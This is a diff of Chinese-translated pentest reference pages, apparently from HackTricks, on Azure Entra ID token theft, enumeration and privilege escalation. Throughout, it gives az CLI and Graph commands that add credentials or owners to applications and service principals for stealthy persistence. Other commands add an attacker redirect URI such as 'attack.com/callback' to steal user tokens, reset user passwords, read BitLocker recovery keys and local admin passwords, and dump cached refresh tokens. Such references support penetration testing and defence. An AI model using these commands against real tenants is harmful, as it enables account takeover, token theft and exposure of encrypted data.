- 在 **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 下有多个 `.bin` 文件,包含 **access tokens**、ID tokens 和账户信息,均用用户的 DPAPI 加密。
|
||||
- 还可以在 **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 中的 `.tbres` 文件里找到更多 **access tokens**;这些文件包含用 DPAPI 加密并 base64 编码的 access tokens。
|
||||
- 在 Linux 与 macOS 上,如果使用了 Az PowerShell,可运行 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 来获取 **access tokens, refresh tokens and id tokens**
|
||||
- 在 Windows 上这只会生成 id tokens。
|
||||
- 可以通过检查 `$HOME/.local/share/.IdentityService/` 是否存在来判断在 Linux 和 macOS 上是否使用过 Az PowerShell(尽管其中的文件为空且没用)
|
||||
- 如果用户使用浏览器登录了 Azure,根据这篇 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web),可以以重定向到 localhost 的方式启动认证流程,使浏览器自动授权登录,并接收 refresh token。注意,只有少数 FOCI 应用允许重定向到 localhost(例如 az cli 或 powershell 模块),因此这些应用必须被允许。
|
||||
- 博客中解释的另一种方法是使用工具 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow),它可以使用任何应用,因为它会 **获取 OAuth code,然后从最终认证页面标题中取得 refresh token**,使用 redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`。
|
||||
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** 包含使用 Az PowerShell 的先前登录信息(但不包含凭据)
|
||||
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 有多个 `.bin` 文件,包含 **access tokens**、ID tokens 和账号信息,并由用户的 DPAPI 加密。
|
||||
- 在 **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 内的 `.tbres` 文件中可能会找到更多 **access tokens**,这些文件包含用 DPAPI 加密并 base64 编码的 access tokens。
|
||||
- 在 Linux 和 macOS 上,如果使用了 Az PowerShell,可以通过运行 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 获取 **access tokens、refresh tokens 和 id tokens**
|
||||
- 在 Windows 上,这只会生成 id tokens。
|
||||
- 可以通过检查 `$HOME/.local/share/.IdentityService/` 是否存在来判断 Az PowerShell 是否在 Linux 或 macOS 上被使用(尽管其中的文件是空的且无用)
|
||||
- 如果用户通过浏览器 **logged inside Azure**,根据这篇 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) 可以启动带有 **redirect to localhost** 的认证流程,让浏览器自动授权登录,并接收 refresh token。注意,只有少数 FOCI applications 允许 redirect to localhost(例如 az cli 或 powershell 模块),因此这些应用必须被允许。
|
||||
- 博客中解释的另一个选项是使用工具 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow),它可以使用任何应用,因为它会 **获取 OAuth code,然后从最终认证页面的标题中获取 refresh token**,使用的 redirect URI 为 `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,**并非所有的细粒度权限** 内置角色在 Entra ID **都可以用于自定义角色。**
|
||||
> 请注意,**并非 Entra ID 中内置角色所拥有的所有细粒度权限**都**可以用于自定义角色**。
|
||||
|
||||
## Roles
|
||||
## 角色
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
此角色包含必要的细粒度权限,以便能够将角色分配给主体并为角色提供更多权限。这两项操作都可能被滥用以提升权限。
|
||||
该角色包含将角色分配给主体并向角色授予更多权限所需的细粒度权限。这两项操作都可能被滥用来提升权限。
|
||||
|
||||
- 将角色分配给用户:
|
||||
```bash
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- 为角色添加更多权限:
|
||||
- 向角色添加更多权限:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
这允许攻击者**添加凭据**(密码或证书)到现有应用程序。如果该应用程序具有特权权限,攻击者可以作为该应用程序进行身份验证并获得这些权限。
|
||||
这允许攻击者**添加凭据**(密码或证书)到现有的应用程序。如果该应用程序具有高权限,攻击者可以以该应用程序的身份进行身份验证并获得这些权限。
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
这允许与 `applications/credentials/update` 相同的操作,但范围仅限于单目录应用程序。
|
||||
这允许执行与 `applications/credentials/update` 相同的操作,但作用域限定为单目录应用程序。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
通过将自己添加为所有者,攻击者可以操纵应用程序,包括凭据和权限。
|
||||
通过将自己添加为所有者,attacker 可以操纵该应用程序,包括凭证和权限。
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
攻击者可以向租户用户正在使用的应用程序添加重定向 URI,然后与他们共享使用新重定向 URL 的登录 URL,以窃取他们的令牌。请注意,如果用户已经登录到应用程序,则身份验证将自动进行,无需用户接受任何内容。
|
||||
攻击者可以向租户中用户正在使用的应用程序添加一个 redirect URI,然后与他们共享使用该新 redirect URL 的 login URLs,从而窃取他们的 tokens。请注意,如果用户已经在该应用程序中登录,身份验证将自动完成,用户无需同意任何内容。
|
||||
|
||||
请注意,还可以更改应用程序请求的权限,以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示。
|
||||
另外,也可以更改应用程序请求的 permissions 以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的 prompt。
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## Service Principals
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 很常见会发现默认应用被分配了类型为 **API permissions** 的 **`Application`**。**API Permission**(在 Entra ID 控制台中的称呼)类型为 **`Application`** 意味着该应用可以在没有用户上下文(即无用户登录该应用)的情况下访问 API 并执行操作,并且不需要 Entra ID 角色来授权。因此,在每个 **Entra ID** 租户中发现**高权限应用**是非常普遍的。
|
||||
|
||||
如果攻击者拥有任何允许 **update the credentials (secret o certificate) of the application** 的权限/角色,攻击者就可以生成新的凭据,然后用它来 **authenticate as the application**,从而获得该应用拥有的所有权限。
|
||||
|
||||
请注意,所提到的博客列出了一些常见 Microsoft 默认应用的 **API permissions**,但在该报告发布后不久,Microsoft 修复了这个问题,现在已无法再以 Microsoft 应用登录。不过,仍然可能发现可被滥用的 **具有高权限的自定义应用**。
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>查找对非 Microsoft API 具有 API 权限的所有应用程序 (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## 服务主体
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。
|
||||
这允许攻击者向现有的服务主体添加凭据。如果该服务主体具有提升的权限,攻击者可以获取这些权限。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 新生成的密码不会出现在网络控制台中,因此这可能是一种隐秘的方式来保持对服务主体的持久性。\
|
||||
> 从API中可以通过以下命令找到它们: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
如果您收到错误消息 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`,这意味着**无法修改SP的passwordCredentials属性**,您需要先解锁它。为此,您需要一个权限(`microsoft.directory/applications/allProperties/update`),该权限允许您执行:
|
||||
> 新生成的密码不会出现在 web console,所以这可能是对 service principal 的隐蔽持久化方式。\
|
||||
> 从 API 可以通过以下命令找到: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
如果你收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`,那是因为 **无法修改 SP 的 passwordCredentials property**,你必须先解锁它。为此你需要一个权限 (`microsoft.directory/applications/allProperties/update`),该权限允许你执行:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
这允许攻击者向现有的服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。
|
||||
这允许 attacker 向现有的 service principals 添加 credentials。如果 service principal 拥有 elevated privileges,attacker 就可以获取这些 privileges。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
类似于应用程序,此权限允许向服务主体添加更多所有者。拥有服务主体可以控制其凭据和权限。
|
||||
类似于 applications,该权限允许向 service principal 添加更多 owners。拥有 service principal 可控制其凭证和权限。
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 添加新所有者后,我尝试删除它,但API响应说不支持DELETE方法,即使这是删除所有者所需使用的方法。因此,**现在无法删除所有者**。
|
||||
> 添加新的所有者后,我尝试移除它,但 API 回复说不支持 DELETE 方法,即使那正是删除所有者所需的方法。因此你 **现在无法删除所有者**。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` 和 `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
这些权限允许禁用和启用服务主体。攻击者可以利用此权限启用他以某种方式获得访问权限的服务主体,以提升权限。
|
||||
这些权限允许禁用和启用服务主体。攻击者可以利用该权限启用一个他通过某种方式能够访问的服务主体,以进行权限提升。
|
||||
|
||||
请注意,对于此技术,攻击者需要更多权限才能接管已启用的服务主体。
|
||||
注意,对于该技术,攻击者还需要更多权限才能接管被启用的服务主体。
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
这些权限允许创建和获取单点登录的凭据,这可能允许访问第三方应用程序。
|
||||
这些权限允许为单点登录创建和获取凭据,可能允许访问第三方应用程序。
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,44 +277,36 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### 应用程序权限提升
|
||||
|
||||
**正如在 [这篇文章](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) 中所解释的**,很常见的是发现默认应用程序被分配了类型为 **`Application`** 的 **API 权限**。类型为 **`Application`** 的 API 权限(在 Entra ID 控制台中称为)意味着该应用程序可以在没有用户上下文(用户未登录应用程序)的情况下访问 API,并且不需要 Entra ID 角色来允许它。因此,在每个 Entra ID 租户中发现 **高权限应用程序** 是非常常见的。
|
||||
|
||||
然后,如果攻击者拥有任何允许 **更新应用程序凭据(密钥或证书)** 的权限/角色,攻击者可以生成新的凭据,然后使用它来 **以应用程序身份进行身份验证**,获得该应用程序拥有的所有权限。
|
||||
|
||||
请注意,提到的博客分享了一些常见 Microsoft 默认应用程序的 **API 权限**,然而在此报告发布后不久,Microsoft 修复了此问题,现在不再可能以 Microsoft 应用程序身份登录。然而,仍然可以找到 **可能被滥用的高权限自定义应用程序**。
|
||||
|
||||
---
|
||||
|
||||
## 组
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
此权限允许将用户添加到特权组,从而导致权限提升。
|
||||
此权限允许将用户添加到特权组,从而导致 privilege escalation。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**注意**:此权限不包括 Entra ID 角色可分配组。
|
||||
**注意**:此权限不包括 Entra ID role-assignable groups。
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
此权限允许成为组的所有者。组的所有者可以控制组成员资格和设置,可能会将权限提升到该组。
|
||||
此权限允许成为组的所有者。组的所有者可以控制组成员和设置,可能进而提升对该组的权限。
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**注意**: 此权限不包括 Entra ID 角色可分配组。
|
||||
**注意**:此权限不包括 Entra ID 可分配角色的组。
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中,从而获得提升的访问权限。
|
||||
此权限允许向组添加成员。攻击者可以将自己或恶意账户添加到特权组,从而获得提升的访问权限。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
此权限允许更新动态组中的成员规则。攻击者可以修改动态规则,以在没有明确添加的情况下将自己包含在特权组中。
|
||||
该权限允许更新动态组中的成员资格规则。攻击者可以修改动态规则,将自己包含到特权组中,而无需显式添加。
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -212,11 +317,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**注意**:此权限不包括 Entra ID 角色可分配组。
|
||||
**注意**: 此权限不包括 Entra ID 的 role-assignable groups。
|
||||
|
||||
### 动态组权限提升
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
用户可能通过修改自己的属性以被添加为动态组的成员来提升权限。有关更多信息,请查看:
|
||||
用户可能通过修改自己的属性,被添加为 dynamic groups 的成员,从而提升权限。更多信息请查阅:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
此权限允许重置非管理员用户的密码,从而允许潜在攻击者提升到其他用户的权限。此权限不能分配给自定义角色。
|
||||
该权限允许重置非管理员用户的密码,从而可能使攻击者提升对其他用户的权限。该权限不能被分配给自定义角色。
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
此权限允许修改用户的属性。通常可以找到根据属性值添加用户的动态组,因此,此权限可能允许用户设置所需的属性值,以成为特定动态组的成员并提升权限。
|
||||
此权限允许修改用户的属性。常见情况是存在基于属性值添加用户的动态组,因此该权限可能允许用户设置所需的属性值以成为某个特定动态组的成员,从而升级权限。
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## 条件访问策略与 MFA 绕过
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
配置错误的条件访问策略要求 MFA 可能会被绕过,请检查:
|
||||
错误配置的 conditional access policies(要求 MFA)可能被绕过,请查看:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
此权限允许攻击者将自己指定为设备的所有者,以获得对设备特定设置和数据的控制或访问。
|
||||
此权限允许 attackers 将自己分配为设备的所有者,从而获得对设备的控制或访问设备特定设置和数据。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
此权限允许攻击者将其帐户与设备关联,以获得访问权限或绕过安全策略。
|
||||
该权限允许攻击者将其账户与设备关联,从而获取访问权限或绕过安全策略。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员帐户凭据的属性,包括密码。
|
||||
此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员账户凭据的属性,包括密码。
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
此权限允许访问 BitLocker 密钥,这可能使攻击者能够解密驱动器,从而危及数据机密性。
|
||||
该权限允许访问 BitLocker 密钥,攻击者可利用此权限解密驱动器,从而危及数据机密性。
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## 其他有趣的权限 (TODO)
|
||||
## 其他有趣的 permissions (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Active Directory (Azure AD) 是 Microsoft 的基于云的身份和访问管理服务。它帮助员工登录并访问组织内外的资源,包括 Microsoft 365、Azure portal 以及众多其他 SaaS 应用。Azure AD 的设计旨在提供关键的身份服务,主要包括 **身份验证、授权和用户管理**。
|
||||
Azure Active Directory (Azure AD) 是 Microsoft 的基于云的身份和访问管理服务。它有助于员工登录并访问组织内外的资源,包括 Microsoft 365、the Azure portal,以及众多其他 SaaS 应用。Azure AD 的设计侧重于提供关键的身份服务,主要包括 **身份验证、授权和用户管理**。
|
||||
|
||||
Azure AD 的关键功能包括 **多因素认证** 和 **条件访问**,并与其他 Microsoft 安全服务实现无缝集成。这些功能显著提升了用户身份的安全性,使组织能够有效地实施和执行其访问策略。作为 Microsoft 云服务生态系统的基础组件,Azure AD 对基于云的用户身份管理至关重要。
|
||||
Azure AD 的主要功能包括 **多因素身份验证** 和 **条件访问**,并与其他 Microsoft 安全服务无缝集成。这些功能显著提高了用户身份的安全性,并使组织能够有效地实施和执行其访问策略。作为 Microsoft 云服务生态系统的核心组件,Azure AD 对基于云的用户身份管理至关重要。
|
||||
|
||||
## 枚举
|
||||
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
当你通过任何程序使用 **CLI** 在 **Azure** 上 **login** 时,你实际上是在使用属于 **Microsoft** 的某个 **tenant** 中的 **Azure Application**。这些 Applications(就像你可以在自己的账号中创建的那些)**have a client id**。在你能在 **console** 中看到的 **allowed applications lists** 里,**won't be able to see all of them**,但它们**are allowed by default**。
|
||||
当你通过 **登录** 使用任意程序并通过 **CLI** 进入 Azure 时,你使用的是属于 **Microsoft** 的某个 **tenant** 下的 **Azure Application**。这些 Applications,就像你在账户中可以创建的那些,**have a client id**。在控制台中你能看到的 **allowed applications lists** 并不能列出所有这些应用,**但它们默认是被允许的**。
|
||||
|
||||
例如,一个用于 **authenticates** 的 **powershell script** 会使用客户端 id 为 **`1950a258-227b-4e31-a9cf-717495945fc2`** 的应用。即使该应用未出现在 **console** 中,sysadmin 仍可 **block that application**,从而阻止用户通过该 App 连接的工具访问。
|
||||
例如,一个 **powershell script** 在 **authenticates** 时使用的 app 的 client id 是 **`1950a258-227b-4e31-a9cf-717495945fc2`**。即使该 app 没有出现在控制台中,sysadmin 仍然可以 **block that application**,以阻止用户使用通过该 App 连接的工具进行访问。
|
||||
|
||||
然而,还有一些应用的 **other client-ids** 可以 **will allow you to connect to Azure**:
|
||||
然而,存在一些 **other client-ids** 的应用,它们 **will allow you to connect to Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA 与 Conditional Access 策略
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
强烈建议为每个用户添加 MFA,但有些公司不会启用它,或者可能通过 Conditional Access 进行设置:用户如果从特定位置、浏览器或 **某些条件** 登录,**需要 MFA**。如果这些策略配置不正确,可能容易遭受 **bypasses**。查看:
|
||||
强烈建议为每个用户启用 MFA,然而有些公司不会设置它,或者会通过 Conditional Access 设置条件:如果用户从特定位置、浏览器或**某些条件**登录,则该用户将**被要求进行 MFA**。这些策略如果配置不当可能容易被**bypasses**。查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -483,21 +483,21 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### 向组添加用户
|
||||
|
||||
组的所有者可以向组中添加新用户
|
||||
组所有者可以向组添加新用户
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> 组可以是动态的,这基本意味着 **如果用户满足某些条件,该用户将被添加到一个组中**。当然,如果条件基于 **属性**,即 **用户** 可以 **控制**(的属性),他可能滥用此功能以 **进入其他组**。\
|
||||
> 请在以下页面查看如何滥用动态组:
|
||||
> 组可以是动态的,这基本上意味着 **如果用户满足某些条件,将被添加到一个组中**。当然,如果这些条件基于 **用户可控制的属性**,他可以滥用此功能来 **进入其他组**。\
|
||||
> 请查看以下页面了解如何滥用动态组:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### 服务主体
|
||||
### Service Principals
|
||||
|
||||
有关 Entra ID 服务主体 的更多信息,请查看:
|
||||
欲了解更多关于 Entra ID service principals 的信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -707,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
```
|
||||
</details>
|
||||
|
||||
### 应用
|
||||
### Applications
|
||||
|
||||
有关应用的更多信息,请查看:
